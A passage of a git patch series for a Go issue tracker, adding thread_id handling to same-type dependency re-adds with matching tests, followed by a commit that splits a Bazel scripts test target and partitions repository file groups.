durable-state mutation of the source issue and mints on the - // same terms as a new edge (#5898 leg 2: "a same-type re-add - // whose metadata actually changed mints EXACTLY ONE version - // carrying the new state"). + // The metadata or thread genuinely changed, so this re-add is a + // real durable-state mutation of the source issue (its version + // snapshot carries each edge's thread_id) and mints on the same + // terms as a new edge (#5898 leg 2: "a same-type re-add whose + // metadata actually changed mints EXACTLY ONE version carrying the + // new state"). return issueops.RecordVersionInTx(ctx, r.runner, dep.IssueID, actor) } return &domain.DependencyTypeConflictError{ diff --git a/internal/storage/domain/db/dependency_null_metadata_test.go b/internal/storage/domain/db/dependency_null_metadata_test.go index 60f8a68cd..e15cbead6 100644 --- a/internal/storage/domain/db/dependency_null_metadata_test.go +++ b/internal/storage/domain/db/dependency_null_metadata_test.go @@ -29,7 +29,9 @@ func newMockDependencyRepo(t *testing.T) (sqlmock.Sqlmock, *dependencySQLReposit // which would turn every subsequent re-add of that edge into an error on a // path that used to be idempotently happy. NULL is the absent-metadata state, // so it reads as `{}` and the change-free re-add of a metadata-free edge stays -// the no-op it was. +// the no-op it was. thread_id is nullable the same way and read by the same +// gate; a re-add naming no thread keeps a NULL one, so the row holds NULL in +// both columns and the re-add is still change-free. // // The repair landed on both planes; without this the two planes are pinned // asymmetrically and a revert of the serve-mode scan alone has nothing red to @@ -37,9 +39,9 @@ func newMockDependencyRepo(t *testing.T) (sqlmock.Sqlmock, *dependencySQLReposit func TestDependencyInsertReadsNullStoredMetadataAsEmptyObject(t *testing.T) { mock, repo := newMockDependencyRepo(t) - mock.ExpectQuery(regexp.QuoteMeta("SELECT type, metadata FROM dependencies")). + mock.ExpectQuery(regexp.QuoteMeta("SELECT type, metadata, thread_id FROM dependencies")). WithArgs("dep-a", "dep-b"). - WillReturnRows(sqlmock.NewRows([]string{"type", "metadata"}).AddRow(string(types.DepRelated), nil)) + WillReturnRows(sqlmock.NewRows([]string{"type", "metadata", "thread_id"}).AddRow(string(types.DepRelated), nil, nil)) dep := &types.Dependency{IssueID: "dep-a", DependsOnID: "dep-b", Type: types.DepRelated} // DepRelated is not a scheduling edge and the hierarchy check is declared diff --git a/internal/storage/embeddeddolt/batch_apply_contract_test.go b/internal/storage/embeddeddolt/batch_apply_contract_test.go index 3ed6724a9..c7be4ca2d 100644 --- a/internal/storage/embeddeddolt/batch_apply_contract_test.go +++ b/internal/storage/embeddeddolt/batch_apply_contract_test.go @@ -116,6 +116,15 @@ func TestBatchApplyContract(t *testing.T) { t.Run("StampsSpawnerIDOnlyWhenNamed", func(t *testing.T) { conformance.RunBatchApplyStampsSpawnerIDOnlyWhenNamed(t, ctx, fixture) }) + t.Run("CarriesThreadIDOntoTheStoredEdge", func(t *testing.T) { + conformance.RunBatchApplyCarriesThreadIDOntoTheStoredEdge(t, ctx, fixture) + }) + t.Run("CarriesThreadIDOntoAnExistingEdge", func(t *testing.T) { + conformance.RunBatchApplyCarriesThreadIDOntoAnExistingEdge(t, ctx, fixture) + }) + t.Run("RefusesAThreadIDLongerThanItsColumn", func(t *testing.T) { + conformance.RunBatchApplyRefusesAThreadIDLongerThanItsColumn(t, ctx, fixture) + }) t.Run("SplicesAForwardMetadataRef", func(t *testing.T) { conformance.RunBatchApplySplicesAForwardMetadataRef(t, ctx, fixture) }) diff --git a/internal/storage/embeddeddolt/dependency_editor_contract_test.go b/internal/storage/embeddeddolt/dependency_editor_contract_test.go index 15fb44f16..88335f2d7 100644 --- a/internal/storage/embeddeddolt/dependency_editor_contract_test.go +++ b/internal/storage/embeddeddolt/dependency_editor_contract_test.go @@ -57,6 +57,12 @@ func TestEmbeddedDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp(t *te conformance.RunDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp(t, ctx, newEmbeddedDependencyEditorFixture(t, ctx, "idemmetasame")) } +func TestEmbeddedDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion(t *testing.T) { + skipUnlessEmbeddedDolt(t) + ctx := t.Context() + conformance.RunDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion(t, ctx, newEmbeddedDependencyEditorFixture(t, ctx, "idemthread")) +} + func TestEmbeddedDependencyEditorRepeatsWithinOneRequestCollapse(t *testing.T) { skipUnlessEmbeddedDolt(t) ctx := t.Context() diff --git a/internal/storage/issueops/dependencies.go b/internal/storage/issueops/dependencies.go index d6acfe91f..17b113438 100644 --- a/internal/storage/issueops/dependencies.go +++ b/internal/storage/issueops/dependencies.go @@ -32,6 +32,19 @@ func DependencyMetadataEqual(a, b string) bool { return bytes.Equal(aCanon, bCanon) } +// ReAddedDependencyThread returns the thread_id a same-type re-add leaves on an +// existing edge and whether that differs from the stored one. A named thread +// the row does not already carry replaces it; an empty one names no thread +// rather than asking for none, so the stored value — NULL included — is kept. +// Both dependency re-add idempotency checks share this, alongside +// DependencyMetadataEqual, so they can't drift. +func ReAddedDependencyThread(stored sql.NullString, requested string) (sql.NullString, bool) { + if requested == "" || requested == stored.String { + return stored, false + } + return sql.NullString{String: requested, Valid: true}, true +} + type DepTargetKind int const ( @@ -178,8 +191,9 @@ type DepTargetPrecheck struct { // - Source/target existence validation // - Hierarchy deadlock validation for blocking deps (GH#1495, bd-wg7ve) // - Cycle detection via recursive CTE across both dependency tables -// - Idempotent same-type re-adds: a metadata change updates it, a -// change-free re-add writes and journals nothing (#5898 R3) +// - Idempotent same-type re-adds: a metadata or thread change updates it +// (an empty ThreadID keeps the stored thread), a change-free re-add +// writes and journals nothing (#5898 R3) // - Type conflict detection // // The caller is responsible for transaction lifecycle, dolt commits, and @@ -195,9 +209,9 @@ type DepTargetPrecheck struct { // state, so it mints one version row for the source — on EVERY leg that reaches // this helper (the dependency editor, the legacy store verbs, batch apply), // whether or not an audit event was requested. A same-type re-add that changes -// metadata is the same kind of durable-state change and mints on the same -// terms; only a genuinely change-free re-add (identical type and metadata) -// mints nothing. +// metadata or thread is the same kind of durable-state change and mints on the +// same terms; only a genuinely change-free re-add (identical type and metadata, +// no new thread) mints nothing. func AddDependencyInTx(ctx context.Context, tx *sql.Tx, dep *types.Dependency, actor string, opts AddDependencyOpts) (bool, error) { return addDependencyInTx(ctx, tx, dep, actor, opts, nil, true) } @@ -295,38 +309,46 @@ func addDependencyInTx(ctx context.Context, tx *sql.Tx, dep *types.Dependency, a // target expression defensively so stale/reclassified rows in another typed // target column cannot bypass the idempotency/conflict check. var existingType string - var existingMetadataNS sql.NullString + var existingMetadataNS, existingThreadNS sql.NullString //nolint:gosec // G201: writeTable from WispTableRouting; depTargetEquals has no user input. - err := tx.QueryRowContext(ctx, fmt.Sprintf(`SELECT type, metadata FROM %s WHERE issue_id = ? AND %s`, writeTable, depTargetEquals("")), - dep.IssueID, dep.DependsOnID).Scan(&existingType, &existingMetadataNS) + err := tx.QueryRowContext(ctx, fmt.Sprintf(`SELECT type, metadata, thread_id FROM %s WHERE issue_id = ? AND %s`, writeTable, depTargetEquals("")), + dep.IssueID, dep.DependsOnID).Scan(&existingType, &existingMetadataNS, &existingThreadNS) if err == nil { existingMetadata := existingMetadataNS.String if !existingMetadataNS.Valid { existingMetadata = "{}" } if existingType == string(dep.Type) { - if DependencyMetadataEqual(existingMetadata, metadata) { - // Same type, same metadata: a change-free write. Nothing is - // written and nothing is journaled (#5898 R3). + // A re-add naming a thread the row does not carry moves it. One + // naming none keeps the stored thread rather than clearing it, so + // the callers that never carry a thread cannot erase one. + thread, threadChanged := ReAddedDependencyThread(existingThreadNS, dep.ThreadID) + if !threadChanged && DependencyMetadataEqual(existingMetadata, metadata) { + // Same type, same metadata, same thread: a change-free write. + // Nothing is written and nothing is journaled (#5898 R3). return false, nil } - // Same type, different metadata — idempotent; update metadata. No - // event is written, so the caller must not stage the events table - // for this re-add. + // Same type, different metadata or thread — idempotent; update the + // row in place. No event is written, so the caller must not stage + // the events table for this re-add. //nolint:gosec // G201: writeTable from WispTableRouting; depTargetEquals has no user input. - if _, err := tx.ExecContext(ctx, fmt.Sprintf(`UPDATE %s SET metadata = ? WHERE issue_id = ? AND %s`, writeTable, depTargetEquals("")), - metadata, dep.IssueID, dep.DependsOnID); err != nil { + if _, err := tx.ExecContext(ctx, fmt.Sprintf(`UPDATE %s SET metadata = ?, thread_id = ? WHERE issue_id = ? AND %s`, writeTable, depTargetEquals("")), + metadata, thread, dep.IssueID, dep.DependsOnID); err != nil { return false, fmt.Errorf("failed to update dependency metadata: %w", err) } - // A same-type add refreshes edge metadata. It is an observable graph - // mutation, so emit the complete replacement edge for replay even - // though no audit event is written. + // A same-type add refreshes the edge's metadata or thread. It is an + // observable graph mutation, so journal the replacement edge for + // replay even though no audit event is written. EventDep has no + // thread member, so a thread-only change journals the same payload + // as the original add; the source's version snapshot is what + // records the new thread. if err := RecordDepEventInTx(ctx, tx, EventDepAdd, dep.IssueID, string(dep.Type), dep.DependsOnID, metadata, actor); err != nil { return false, err } - // The metadata genuinely changed, so — unlike the change-free - // branch above — this re-add is a real durable-state mutation of - // the source issue and mints on the same terms as a new edge + // The metadata or thread genuinely changed, so — unlike the + // change-free branch above — this re-add is a real durable-state + // mutation of the source issue (its version snapshot carries each + // edge's thread_id) and mints on the same terms as a new edge // (#5898 leg 2: "a same-type re-add whose metadata actually // changed mints EXACTLY ONE version carrying the new state"). return false, mintDependencyVersion(ctx, tx, dep.IssueID, actor, mintVersion) @@ -421,11 +443,11 @@ func addDependencyInTx(ctx context.Context, tx *sql.Tx, dep *types.Dependency, a } // mintDependencyVersion versions the referencing (source) issue of an edge that -// was actually inserted, deleted, or had its metadata refreshed by a same-type -// re-add: the version-history seam for every dependency write path, reached -// from addDependencyInTx and removeDependencyInTx only past a real row write — -// never from a genuinely change-free re-add or the absent-edge return, which -// mint nothing. mint false defers to a caller that mints once for a +// was actually inserted, deleted, or had its metadata or thread refreshed by a +// same-type re-add: the version-history seam for every dependency write path, +// reached from addDependencyInTx and removeDependencyInTx only past a real row +// write — never from a genuinely change-free re-add or the absent-edge return, +// which mint nothing. mint false defers to a caller that mints once for a // multi-edge mutation. A wisp source is excluded by the seam itself. func mintDependencyVersion(ctx context.Context, tx DBTX, issueID, actor string, mint bool) error { if !mint { diff --git a/internal/storage/issueops/dependencies_test.go b/internal/storage/issueops/dependencies_test.go index 635f81cb2..af2cfb5cd 100644 --- a/internal/storage/issueops/dependencies_test.go +++ b/internal/storage/issueops/dependencies_test.go @@ -2,6 +2,7 @@ package issueops import ( "context" + "database/sql" "errors" "reflect" "regexp" @@ -331,6 +332,45 @@ func TestDependencyMetadataEqualComparesValuesNotBytes(t *testing.T) { } } +// TestReAddedDependencyThreadKeepsTheStoredThreadUnlessANewOneIsNamed pins the +// thread half of the same-type re-add gate. A re-add naming a thread the row +// does not carry is a change that must reach the row; a re-add naming none +// says nothing about threads, so it must leave the stored one — NULL, empty +// or named — exactly as it is, or every plain `bd dep add` of a threaded edge +// would erase its thread. +func TestReAddedDependencyThreadKeepsTheStoredThreadUnlessANewOneIsNamed(t *testing.T) { + t.Parallel() + + null := sql.NullString{} + empty := sql.NullString{Valid: true} + named := sql.NullString{String: "thread-1", Valid: true} + for _, tc := range []struct { + name string + stored sql.NullString + requested string + want sql.NullString + wantChanged bool + }{ + {name: "NoneNamedKeepsNull", stored: null, requested: "", want: null}, + {name: "NoneNamedKeepsEmpty", stored: empty, requested: "", want: empty}, + {name: "NoneNamedKeepsTheStoredThread", stored: named, requested: "", want: named}, + {name: "SameThreadIsNoChange", stored: named, requested: "thread-1", want: named}, + {name: "NewThreadOverNull", stored: null, requested: "thread-1", want: named, wantChanged: true}, + {name: "NewThreadOverEmpty", stored: empty, requested: "thread-1", want: named, wantChanged: true}, + {name: "DifferentThreadReplacesIt", stored: named, requested: "thread-2", + want: sql.NullString{String: "thread-2", Valid: true}, wantChanged: true}, + } { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + got, changed := ReAddedDependencyThread(tc.stored, tc.requested) + if got != tc.want || changed != tc.wantChanged { + t.Errorf("ReAddedDependencyThread(%+v, %q) = (%+v, %v), want (%+v, %v)", + tc.stored, tc.requested, got, changed, tc.want, tc.wantChanged) + } + }) + } +} + // TestAddDependencyInTxReadsNullStoredMetadataAsEmptyObject pins the widened // SELECT's handling of a SQL-NULL metadata column. dependencies.metadata is // nullable (`JSON DEFAULT (JSON_OBJECT())`, no NOT NULL), so a row written out @@ -341,6 +381,11 @@ func TestDependencyMetadataEqualComparesValuesNotBytes(t *testing.T) { // re-add of that edge into an error. NULL is the absent-metadata state, so it // reads as `{}` and the change-free re-add of a metadata-free edge stays the // no-op it was. +// +// thread_id is nullable the same way (a VARCHAR with no NOT NULL), and the gate +// reads it too, so the row here holds NULL in both columns: a re-add naming no +// thread keeps whatever thread the row stores, NULL included, so this re-add +// is still change-free. func TestAddDependencyInTxReadsNullStoredMetadataAsEmptyObject(t *testing.T) { t.Parallel() @@ -349,9 +394,9 @@ func TestAddDependencyInTxReadsNullStoredMetadataAsEmptyObject(t *testing.T) { mock.ExpectQuery(regexp.QuoteMeta("SELECT issue_type FROM issues WHERE id = ?")). WithArgs("dep-a"). WillReturnRows(sqlmock.NewRows([]string{"issue_type"}).AddRow("task")) - mock.ExpectQuery(regexp.QuoteMeta("SELECT type, metadata FROM dependencies")). + mock.ExpectQuery(regexp.QuoteMeta("SELECT type, metadata, thread_id FROM dependencies")). WithArgs("dep-a", "dep-b"). - WillReturnRows(sqlmock.NewRows([]string{"type", "metadata"}).AddRow(string(types.DepRelated), nil)) + WillReturnRows(sqlmock.NewRows([]string{"type", "metadata", "thread_id"}).AddRow(string(types.DepRelated), nil, nil)) kind := DepTargetIssue dep := &types.Dependency{IssueID: "dep-a", DependsOnID: "dep-b", Type: types.DepRelated} diff --git a/internal/storage/uow/batch_apply_contract_test.go b/internal/storage/uow/batch_apply_contract_test.go index d49656b44..6ae8f3899 100644 --- a/internal/storage/uow/batch_apply_contract_test.go +++ b/internal/storage/uow/batch_apply_contract_test.go @@ -118,6 +118,15 @@ func TestBatchApplyContract(t *testing.T) { t.Run("StampsSpawnerIDOnlyWhenNamed", func(t *testing.T) { conformance.RunBatchApplyStampsSpawnerIDOnlyWhenNamed(t, ctx, fixture) }) + t.Run("CarriesThreadIDOntoTheStoredEdge", func(t *testing.T) { + conformance.RunBatchApplyCarriesThreadIDOntoTheStoredEdge(t, ctx, fixture) + }) + t.Run("CarriesThreadIDOntoAnExistingEdge", func(t *testing.T) { + conformance.RunBatchApplyCarriesThreadIDOntoAnExistingEdge(t, ctx, fixture) + }) + t.Run("RefusesAThreadIDLongerThanItsColumn", func(t *testing.T) { + conformance.RunBatchApplyRefusesAThreadIDLongerThanItsColumn(t, ctx, fixture) + }) t.Run("SplicesAForwardMetadataRef", func(t *testing.T) { conformance.RunBatchApplySplicesAForwardMetadataRef(t, ctx, fixture) }) diff --git a/internal/storage/uow/dependency_editor_contract_test.go b/internal/storage/uow/dependency_editor_contract_test.go index 02b91a878..855ec2521 100644 --- a/internal/storage/uow/dependency_editor_contract_test.go +++ b/internal/storage/uow/dependency_editor_contract_test.go @@ -32,6 +32,7 @@ func TestUOWDependencyEditorContract(t *testing.T) { {name: "SameTypeReAddIsIdempotent", run: conformance.RunDependencyEditorSameTypeReAddIsIdempotent}, {name: "SameTypeReAddWithChangedMetadataMintsOneVersion", run: conformance.RunDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion}, {name: "SameTypeReAddWithIdenticalMetadataIsANoOp", run: conformance.RunDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp}, + {name: "SameTypeReAddWithChangedThreadMintsOneVersion", run: conformance.RunDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion}, {name: "RepeatsWithinOneRequestCollapse", run: conformance.RunDependencyEditorRepeatsWithinOneRequestCollapse}, {name: "AttributesItsEventsToTheActor", run: conformance.RunDependencyEditorAttributesItsEventsToTheActor}, {name: "RetypeRefusalLeavesTheOriginalEdge", run: conformance.RunDependencyEditorRetypeRefusalLeavesTheOriginalEdge}, diff --git a/issueops/batchapplier.go b/issueops/batchapplier.go index 39889926e..ac84c74df 100644 --- a/issueops/batchapplier.go +++ b/issueops/batchapplier.go @@ -220,9 +220,13 @@ type DepAddItem struct { // not express. One spelling, and it is this one. Metadata string // HasSpawner marks a DepWaitsFor edge whose caller explicitly named a - // spawner (bd create --graph's edges[].spawner_key/spawner_id, which the - // CLI's own plan validator already forces to equal this edge's own - // Target). Only then does the role stamp Metadata's spawner_id from the + // spawner: a graph plan's edges[].spawner_key/spawner_id, which bd create + // --graph's plan validator forces to equal the edge's own Target. It has + // two producers: bd create --graph itself, which sets it from those + // members on the embedded and proxied legs alike (cmd/bd's + // buildGraphApplyBatchRequest), and an embedder lowering such a plan onto + // this role (gc's ApplyGraphPlan mapping, on BatchApplier below). Only + // when it is set does the role stamp Metadata's spawner_id from the // resolved Target, once every id in the batch exists (see // StampWaitsForSpawnerID) — a plan-local spawner key cannot be resolved // any earlier than that. @@ -236,9 +240,15 @@ type DepAddItem struct { // Type. HasSpawner bool // ThreadID carries conversation-threading metadata (e.g. a replies-to - // edge's originating thread) onto the created dependency row. Empty means - // the edge carries none; it is a plain column, not part of Metadata's - // type-specific blob. + // edge's originating thread) onto the dependency row. Empty means the edge + // carries none; it is a plain column, not part of Metadata's type-specific + // blob, and one longer than the column holds is ErrValidation. + // + // A RE-ADD OF AN EDGE THAT ALREADY EXISTS WITH THE SAME TYPE CARRIES IT + // TOO. A thread the stored row does not already carry replaces it, and + // versions the source on the same terms as a Metadata change; an empty + // ThreadID keeps the stored thread rather than clearing it, so a re-apply + // that names none cannot erase one. ThreadID string } @@ -558,6 +568,29 @@ func HasExtendedRetryBudget(ctx context.Context) bool { // directly. `bd create --file` and `bd dep add --file` remain the file-shaped // front doors for the two homogeneous cases they already serve. // +// TWO EMBEDDER OPERATIONS MAP ONTO THIS ROLE RATHER THAN EARNING THEIR OWN +// (DESIGN §3.8, "Guarded writes: NO NEW ROLES"). Neither needs a new role or a +// new wire member; both are a SHAPE of ApplyBatchRequest, pinned by an +// http-leg conformance case so the shape does not drift under either side +// independently: +// +// - CloseWithMetadataIfMatch is an update item carrying a Metadata patch and +// ExpectedVersion, followed by a close item on the SAME target, in ONE +// request: []ApplyItem{{Kind: ItemUpdate, Update: &UpdateItem{Target: t, +// Patch: IssuePatch{Metadata: ...}, ExpectedVersion: &v}}, {Kind: ItemClose, +// Close: &CloseItem{Target: t}}}. It is atomic because the whole request is: +// a stale ExpectedVersion refuses the update, which refuses the request, and +// the close never runs — zero rows change. CloseItem itself carries no +// metadata member; this composition is the only way to land a metadata +// write and a close as one guarded act. +// - ApplyGraphPlan is a create item per node (Key, the issue's Labels and +// Metadata, Ephemeral, NoHistory, and MetadataRefs for a value only the +// plan's own later ids can supply), dep_add items for every edge the plan +// names — parent-child included, since a parent is a dep_add item of type +// parent-child like any other edge — and trailing update items for an +// AssignAfterCreate step, which patches a just-created row's Assignee by +// its backward Key reference. One request, declaration order, one outcome. +// // Implementations never mutate caller-owned request values, snapshot the // request at method entry, and apply validation and normalization only to // attempt-local clones. Deterministic request-validation failures match From d90823480a6554f3b6969fe424c54f885f659e23 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 05:13:07 +0000 Subject: [PATCH 181/325] ci(bazel): split //scripts:scripts_test by what it reads; partition //:repo_files (#7414) * ci(bazel): split //scripts:scripts_test by what it reads; partition //:repo_files //scripts:scripts_test declared //:repo_files (the whole checkout), so every PR re-ran it, and it took ~181s on rbe-west. Most of that (60-79s) was TestBazelGatedLanesNeverRetryFlakyTests line-regexping the --run_under wrapper's pinned dolt binary (tools/bazel/hermetic_bin/dolt, in every test's runfiles); it now skips binary files, as git grep -I does. tools/bazel/go_srcs.py's per-package repo_files block now partitions each package's files into repo_go_srcs, repo_go_test_srcs, repo_doc_files and repo_other_files, aggregated at the root; //:repo_files is their union (same 4679 files). The //scripts tests are split into go_test targets by what they read (traced per test with strace over a runfiles-shaped tree): scripts_test CI/Bazel policy: //:repo_other_files (+1 Go file) shell_scripts_test script fixtures: //scripts files, a few root files go_test_sources_test _test.go scans: //:repo_go_test_srcs + shard files go_sources_test check-testing-short.sh: every .go file tracked_files_test every tracked file: //:repo_files Shared helpers move to helpers-only files; TestScriptsTestTargetsPartition- TheTests fails on a test file in no target or in two. //test/docsync and the //scripts/repochecks slices declare partitions or single files instead of //:repo_files where they can. Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): skip only the non-checkout hermetic_bin dir in the flaky-retry walk Skipping every binary file also stopped scanning tracked binaries (images, .binpb fixtures). Skip just tools/bazel/hermetic_bin, the --run_under wrapper's runfiles directory, which is not in the checkout, so the walk's coverage of tracked files is unchanged. Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Opus 5.5 (1M context) --- BUILD.bazel | 1061 ++++++++++++++--- MODULE.bazel | 2 +- backend/BUILD.bazel | 43 +- backend/conformance/BUILD.bazel | 43 +- beadserrors/BUILD.bazel | 43 +- cmd/bd/BUILD.bazel | 57 +- cmd/bd/doctor/BUILD.bazel | 43 +- cmd/bd/doctor/fix/BUILD.bazel | 43 +- cmd/bd/protocol/BUILD.bazel | 43 +- cmd/bd/setup/BUILD.bazel | 43 +- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 17 +- format/BUILD.bazel | 43 +- internal/ado/BUILD.bazel | 43 +- internal/atomicfile/BUILD.bazel | 43 +- internal/audit/BUILD.bazel | 43 +- internal/beads/BUILD.bazel | 43 +- internal/ceiling/BUILD.bazel | 43 +- internal/compact/BUILD.bazel | 43 +- internal/config/BUILD.bazel | 43 +- internal/configfile/BUILD.bazel | 43 +- internal/creds/BUILD.bazel | 43 +- internal/debug/BUILD.bazel | 43 +- internal/doltremote/BUILD.bazel | 43 +- internal/doltserver/BUILD.bazel | 43 +- internal/doltversion/BUILD.bazel | 43 +- internal/eventsjournal/BUILD.bazel | 43 +- internal/execenv/BUILD.bazel | 43 +- internal/fdhygiene/BUILD.bazel | 43 +- internal/formula/BUILD.bazel | 43 +- internal/formula/cmd/schemagen/BUILD.bazel | 43 +- internal/formula/schemagen/BUILD.bazel | 43 +- internal/git/BUILD.bazel | 43 +- internal/gitenv/BUILD.bazel | 43 +- internal/githooksenv/BUILD.bazel | 43 +- internal/github/BUILD.bazel | 43 +- internal/gitignore/BUILD.bazel | 43 +- internal/gitlab/BUILD.bazel | 43 +- internal/gittraceenv/BUILD.bazel | 43 +- internal/hooks/BUILD.bazel | 43 +- internal/httpapi/BUILD.bazel | 43 +- internal/httpapi/apigen/BUILD.bazel | 43 +- internal/httpapi/spec/BUILD.bazel | 43 +- internal/httpapi/wireshape/BUILD.bazel | 43 +- .../wireshape/cmd/gendigest/BUILD.bazel | 43 +- internal/httpclient/BUILD.bazel | 43 +- internal/httpclient/encode/BUILD.bazel | 43 +- internal/httpclient/wire/BUILD.bazel | 43 +- internal/idgen/BUILD.bazel | 43 +- internal/jira/BUILD.bazel | 43 +- internal/linear/BUILD.bazel | 43 +- internal/lockfile/BUILD.bazel | 43 +- internal/memoryapi/BUILD.bazel | 43 +- internal/metrics/BUILD.bazel | 43 +- internal/migration/BUILD.bazel | 43 +- internal/migration/legacysqlite/BUILD.bazel | 43 +- internal/molecules/BUILD.bazel | 43 +- internal/notion/BUILD.bazel | 43 +- internal/procid/BUILD.bazel | 43 +- internal/query/BUILD.bazel | 43 +- internal/recipes/BUILD.bazel | 43 +- internal/remotecache/BUILD.bazel | 43 +- internal/routing/BUILD.bazel | 43 +- internal/storage/BUILD.bazel | 43 +- internal/storage/backendnames/BUILD.bazel | 43 +- internal/storage/backends/BUILD.bazel | 43 +- internal/storage/batchbench/BUILD.bazel | 43 +- internal/storage/batchfixtures/BUILD.bazel | 43 +- internal/storage/contextinfo/BUILD.bazel | 43 +- internal/storage/createbatchequiv/BUILD.bazel | 43 +- internal/storage/dberrors/BUILD.bazel | 43 +- internal/storage/dbproxy/identity/BUILD.bazel | 43 +- internal/storage/dbproxy/pidfile/BUILD.bazel | 43 +- internal/storage/dbproxy/proxy/BUILD.bazel | 43 +- internal/storage/dbproxy/server/BUILD.bazel | 43 +- internal/storage/dbproxy/util/BUILD.bazel | 43 +- internal/storage/depid/BUILD.bazel | 43 +- internal/storage/dolt/BUILD.bazel | 43 +- internal/storage/doltutil/BUILD.bazel | 43 +- internal/storage/domain/BUILD.bazel | 43 +- internal/storage/domain/db/BUILD.bazel | 43 +- internal/storage/domain/fs/BUILD.bazel | 43 +- internal/storage/domain/git/BUILD.bazel | 43 +- internal/storage/embeddeddolt/BUILD.bazel | 43 +- internal/storage/embeddeddolt/cmd/BUILD.bazel | 43 +- internal/storage/externaldeps/BUILD.bazel | 43 +- internal/storage/fs/BUILD.bazel | 43 +- internal/storage/git/BUILD.bazel | 43 +- internal/storage/issueops/BUILD.bazel | 43 +- internal/storage/journalscan/BUILD.bazel | 43 +- internal/storage/kvkeys/BUILD.bazel | 43 +- internal/storage/memoryops/BUILD.bazel | 43 +- internal/storage/rowid/BUILD.bazel | 43 +- internal/storage/schema/BUILD.bazel | 43 +- internal/storage/sqlbuild/BUILD.bazel | 43 +- internal/storage/sqlclass/BUILD.bazel | 43 +- internal/storage/sqlcount/BUILD.bazel | 43 +- internal/storage/storagecontract/BUILD.bazel | 43 +- internal/storage/unsupportedgen/BUILD.bazel | 43 +- internal/storage/uow/BUILD.bazel | 43 +- .../storage/versioncontrolops/BUILD.bazel | 43 +- internal/telemetry/BUILD.bazel | 43 +- internal/templates/BUILD.bazel | 43 +- internal/templates/agents/BUILD.bazel | 43 +- internal/testutil/BUILD.bazel | 53 +- internal/testutil/bazeltest/BUILD.bazel | 43 +- internal/testutil/credentialcmd/BUILD.bazel | 43 +- internal/testutil/fixtures/BUILD.bazel | 43 +- internal/testutil/integration/BUILD.bazel | 43 +- internal/timeparsing/BUILD.bazel | 43 +- internal/tracker/BUILD.bazel | 43 +- internal/tracker/conformance/BUILD.bazel | 43 +- internal/types/BUILD.bazel | 43 +- internal/ui/BUILD.bazel | 43 +- internal/uimd/BUILD.bazel | 43 +- internal/utils/BUILD.bazel | 43 +- internal/validation/BUILD.bazel | 43 +- internal/versioncheck/BUILD.bazel | 43 +- internal/workapi/BUILD.bazel | 43 +- internal/workapi/storecounter/BUILD.bazel | 43 +- internal/workapi/storequerier/BUILD.bazel | 43 +- internal/workapi/storereader/BUILD.bazel | 43 +- .../workapi/storereadycounter/BUILD.bazel | 43 +- internal/workapi/storestats/BUILD.bazel | 43 +- .../storeversionreconciler/BUILD.bazel | 43 +- .../workapi/storeworkspaceconfig/BUILD.bazel | 43 +- internal/workspacegate/BUILD.bazel | 43 +- internal/worktreeremove/BUILD.bazel | 43 +- issueops/BUILD.bazel | 43 +- journalops/BUILD.bazel | 43 +- memoryops/BUILD.bazel | 43 +- platforms/BUILD.bazel | 43 +- plugins/beads/BUILD.bazel | 43 +- schema/BUILD.bazel | 43 +- scripts/BUILD.bazel | 233 +++- scripts/README.md | 2 +- scripts/bazel_autofix_push_test.go | 11 - scripts/bazel_policy_test.go | 392 +----- scripts/bazel_skip_allowlist_test.go | 20 +- scripts/bench-ready-indexes/BUILD.bazel | 43 +- scripts/check-versions/BUILD.bazel | 43 +- scripts/check_testing_short_test.go | 20 - scripts/check_winget_portable_alias_test.go | 2 +- scripts/checkworkflowtags/BUILD.bazel | 43 +- scripts/ci_workflow_test.go | 74 +- scripts/embedded_shard_count_test.go | 72 +- scripts/gitattributespolicy/BUILD.bazel | 43 +- scripts/host_tools_test.go | 15 +- scripts/internal/testbash/BUILD.bazel | 43 +- scripts/migration-test/catalog/BUILD.bazel | 43 +- scripts/pr-lint/BUILD.bazel | 43 +- scripts/pr_lanes_bazel_coverage_test.go | 4 +- scripts/pr_risk_bazel_coverage_test.go | 202 +--- scripts/prlintmake/BUILD.bazel | 43 +- scripts/pull_dolt_image_test.go | 30 - scripts/repo_helpers_test.go | 151 ++- scripts/repochecks/BUILD.bazel | 85 +- scripts/repro-dolt-hang/BUILD.bazel | 43 +- scripts/repro-dolt-prod-timeouts/BUILD.bazel | 43 +- scripts/scripts_targets_test.go | 105 ++ scripts/shard_manifest_test.go | 251 ++++ scripts/testing_short_tree_test.go | 33 + scripts/tracked_files_test.go | 295 +++++ scripts/workflowtags/BUILD.bazel | 43 +- test/conformance/BUILD.bazel | 43 +- test/docsync/BUILD.bazel | 70 +- test/docsync/agentfiles_test.go | 9 +- test/docsync/docsync_test.go | 13 +- test/testmainconvention/BUILD.bazel | 43 +- tests/hook_timeout_backends/BUILD.bazel | 43 +- tests/migration/BUILD.bazel | 43 +- tests/regression/BUILD.bazel | 43 +- tests/upgrade_smoke/BUILD.bazel | 43 +- third_party/cc_toolchain/BUILD.bazel | 43 +- third_party/patches/BUILD.bazel | 43 +- tools/bazel/BUILD.bazel | 53 +- tools/bazel/go_srcs.py | 117 +- tools/docsmint/BUILD.bazel | 43 +- tools/nogo/BUILD.bazel | 49 +- tools/nogo/analyzers/depguard/BUILD.bazel | 43 +- tools/nogo/analyzers/errcheck/BUILD.bazel | 43 +- tools/nogo/analyzers/forbidigo/BUILD.bazel | 43 +- tools/nogo/analyzers/gosec/BUILD.bazel | 43 +- tools/nogo/analyzers/misspell/BUILD.bazel | 43 +- tools/nogo/analyzers/sloglint/BUILD.bazel | 43 +- tools/nogo/analyzers/unconvert/BUILD.bazel | 43 +- tools/nogo/analyzers/unparam/BUILD.bazel | 43 +- tools/nogo/internal/analyzertest/BUILD.bazel | 43 +- tools/nogo/internal/golangci/BUILD.bazel | 43 +- tools/nogo/internal/position/BUILD.bazel | 43 +- 189 files changed, 8985 insertions(+), 1350 deletions(-) create 